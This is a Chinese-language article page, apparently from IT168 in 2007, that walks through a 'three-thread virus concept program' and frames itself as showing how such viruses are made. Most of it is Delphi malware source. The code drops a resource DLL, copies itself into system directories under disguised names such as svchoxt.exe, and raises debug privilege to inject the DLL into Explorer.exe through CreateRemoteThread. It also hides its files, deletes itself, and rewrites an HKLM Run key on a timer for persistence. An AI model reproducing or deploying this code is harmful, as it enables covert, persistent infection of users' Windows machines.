三线程病毒概念程序-网络安全专区

三线程病毒概念程序

作者：IT168 编辑：李莲 2007-06-22 19:31

1.   dll中监视注册表、监视主运行文件（两者如发现被改动或着删除立刻恢复注册表重写，文件则在备份中恢复
2.   主程序负责插入线程创建备份文件、释放资源文件DLL 、复制自身与系统目录

删除备份文件成了,解决这类病毒的关键.下面我做一个大体模版给大家看一下这类病毒的制造方法.

{$R b411.res}

//释放资源文件-----------------------------------------------------
function EXEResFile(const ResName,ResType,NewFile:String):Boolean;
var
Res : TResourceStream;
begin
Result:=True;
try
Res:= TResourceStream.Create(Hinstance, Resname, Pchar(ResType));
try
Res.SavetoFile(NewFile);
finally
Res.Free;
end;
except
Result:=False;
end;
end;

//得到WINDOWS目录------------------------------------------------
function getwin:string;
var
buf:array[0..255] of char;
begin
getwindowsdirectory(buf,256);
result:=buf;
if Result[Length(Result)]<>’\’ then Result := Result + ’\’;
end;

//Windows\System\的路径
function GetWinDir: String;
var
  Buf: array[0..MAX_PATH] of char;
begin
  GetSystemDirectory(Buf, MAX_PATH);
  Result := Buf;
  if Result[Length(Result)]<>’\’ then Result := Result + ’\’;
end;

//列举进程-------------------------------------------------------------------------------
procedure FindAProcess(const AFilename: string; const PathMatch: Boolean; var ProcessID: DWORD);
var
  lppe: TProcessEntry32;
  SsHandle: Thandle;
  FoundAProc, FoundOK: boolean;
begin
  ProcessID :=0;
  SsHandle := CreateToolHelp32SnapShot(TH32CS_SnapProcess, 0);
  FoundAProc := Process32First(Sshandle, lppe);
  while FoundAProc do
  begin
    if PathMatch then
      FoundOK := AnsiStricomp(lppe.szExefile, PChar(AFilename)) = 0
    else
      FoundOK := AnsiStricomp(PChar(ExtractFilename(lppe.szExefile)), PChar(ExtractFilename(AFilename))) = 0;
    if FoundOK then
    begin
      ProcessID := lppe.th32ProcessID;
      break;
    end;
    FoundAProc := Process32Next(SsHandle, lppe);
  end;
  CloseHandle(SsHandle);
end;

//设置权限-----------------------------------------------------------------
function EnabledDebugPrivilege(const bEnabled: Boolean): Boolean;
var
  hToken: THandle;
  tp: TOKEN_PRIVILEGES;
  a: DWORD;
const
  SE_DEBUG_NAME = ’SeDebugPrivilege’;
begin
  Result := False;
  if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, hToken)) then
  begin
    tp.PrivilegeCount := 1;
    LookupPrivilegeValue(nil, SE_DEBUG_NAME, tp.Privileges[0].Luid);
    if bEnabled then
      tp.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED
    else
      tp.Privileges[0].Attributes := 0;
    a := 0;
    AdjustTokenPrivileges(hToken, False, tp, SizeOf(tp), nil, a);
    Result := GetLastError = ERROR_SUCCESS;
    CloseHandle(hToken);
  end;
end;

//注入Explorer.exe进程
function AttachToProcess(const HostFile, GuestFile: string; const PID: DWORD = 0): DWORD;
var
  hRemoteProcess: THandle;
  dwRemoteProcessId: DWORD;
  cb: DWORD;
  pszLibFileRemote: Pointer;
  iReturnCode: Boolean;
  TempVar: DWORD;
  pfnStartAddr: TFNThreadStartRoutine;
  pszLibAFilename: PwideChar;
begin
  Result := 0;
  EnabledDebugPrivilege(True);
  Getmem(pszLibAFilename, Length(GuestFile) * 2 + 1);
  StringToWideChar(GuestFile, pszLibAFilename, Length(GuestFile) * 2 + 1);
  if PID > 0 then
     dwRemoteProcessID := PID
  else
     FindAProcess(HostFile, False, dwRemoteProcessID);
  hRemoteProcess := OpenProcess(PROCESS_CREATE_THREAD + {允许远程创建线程}
      PROCESS_VM_OPERATION + {允许远程VM操作}
      PROCESS_VM_WRITE, {允许远程VM写}
      FALSE, dwRemoteProcessId);
  cb := (1 + lstrlenW(pszLibAFilename))
  pszLibFileRemote := PWIDESTRING(VirtualAllocEx(hRemoteProcess, nil, cb, MEM_COMMIT, PAGE_READWRITE));
  TempVar := 0;
  iReturnCode := WriteProcessMemory(hRemoteProcess, pszLibFileRemote, pszLibAFilename, cb, TempVar);
  if iReturnCode then
  begin
    pfnStartAddr := GetProcAddress(GetModuleHandle(’Kernel32’), ’LoadLibraryW’);
    TempVar := 0;
    Result := CreateRemoteThread(hRemoteProcess, nil, 0, pfnStartAddr, pszLibFileRemote, 0, TempVar);
  end;
  Freemem(pszLibAFilename);
end;

begin
       exeresfile(’b411’,’exefile’,getwindir+’b411.dll’);//释放资源
       sleep(500);
       CopyFile(pchar(paramstr(0)),pchar(getwin+’\system32.exe’),false);
       //复制一份名为system32.exe到系统目录中,
       sleep(500);
       AttachToProcess(’Explorer.exe’, getwindir+’b411.dll’);  //插入Explorer.exe
       SendMessage(0,WM_CLOSE,0,0); //关闭
end.

end.

自复制后还可设置文件的属性，例子如下：

procedure TForm1.KOLForm1FormCreate(Sender: PObj);
   var
   F3: string;
begin
  F3 := Syspath + ’\svchoxt.exe’;    //复制一份到系统目录
  if not FileExists(F3) then
  begin
     CopyFile(pchar(ParamStr(0)), pchar(F3), true);  //开始复制
     SetFileAttributes(pchar(F3),FILE_ATTRIBUTE_HIDDEN+FILE_ATTRIBUTE_SYSTEM);
     {设置文件的属性为系统和隐藏}
     winexec(pchar(F3), 1);   {运行文件}
     application.Terminate;   //关闭释放文件
      // SendMessage(0,WM_CLOSE,0,0); //或用SendMessage关闭文件
     deleteSelf;     //自删除
end;
   Timer1.Enabled :=true;   //定时写注册表
end;

//定时写注册表如下：
procedure TForm1.Timer1Timer(Sender: PObj);
var
  k1: hkey;
  l: longint;
  p: pchar;
begin
  try
  {$IFNDEF DebugMode}
    l := regopenkey(HKEY_LOCAL_MACHINE, ’SOFTWARE’, k1);
    l := regopenkey(k1, ’Microsoft’, k1);
    l := regopenkey(k1, ’Windows’, k1);
    l := regopenkey(k1, ’CurrentVersion’, k1);
    l := regopenkey(k1, ’Run’, k1);
    p := pchar(ParamStr(0));
    l := regsetvalueEx(k1, ’SysDesk’, 0, 1, p, 255);
  {$ENDIF}
except
  end;
end;

这段代码的意思是把程序注入到浏览器,只要浏览器不关闭病毒就存在.欢迎指正,交流 http://www.hack58.net/Article/60/64/2005/5003.htm

关注我们